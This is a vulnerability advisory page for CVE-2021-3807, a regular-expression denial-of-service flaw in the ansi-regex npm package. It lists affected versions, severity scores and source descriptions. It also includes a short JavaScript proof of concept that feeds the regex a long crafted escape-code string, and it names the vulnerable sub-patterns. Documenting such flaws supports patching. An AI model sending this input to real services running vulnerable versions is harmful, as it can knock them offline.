CVE-2021-3807
7.5high
Inefficient Regular Expression Complexity in chalk/ansi-regex
- Severity
- 7.5high CVSS:3.0 by @huntrdev
- Exploit likelihood
- 3.55% (higher than 89% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- @huntrdev
- Also known as
- GHSA-93q8-gq69-wqmw
Description
ansi-regex is vulnerable to Inefficient Regular Expression Complexity
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| chalk chalk/ansi-regex | from unspecified before 6.0.1, from unspecified before 5.0.1 Not affected: 5.0.1 | CVE List |
| ansi-regex (npm) | from 6.0.0 before 6.0.1, from 5.0.0 before 5.0.1, from 4.0.0 before 4.1.1, from 3.0.0 before 3.0.1 | GitHub Advisory Database |
| ansi-regex_project ansi-regex | from 4.0.0 before 4.1.1, 3.0.0, 5.0.0, 6.0.0 | NVD |
| oracle communications_cloud_native_core_policy | 1.15.0 | NVD |
All scores
| @huntrdev | 7.5high CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | 7.8high CVSS:2.0 | AV:N/AC:L/Au:N/C:N/I:N/A:C |
Classification
What each source says
CVE List
ansi-regex is vulnerable to Inefficient Regular Expression Complexity
GitHub Advisory Database
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
NVD (es)
ansi-regex es vulnerable a una Complejidad de Expresiones Regulares Ineficientes
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-3807 changed 2026-10-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-93q8-gq69-wqmw changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2021-3807 changed 2026-10-08 | Public domain |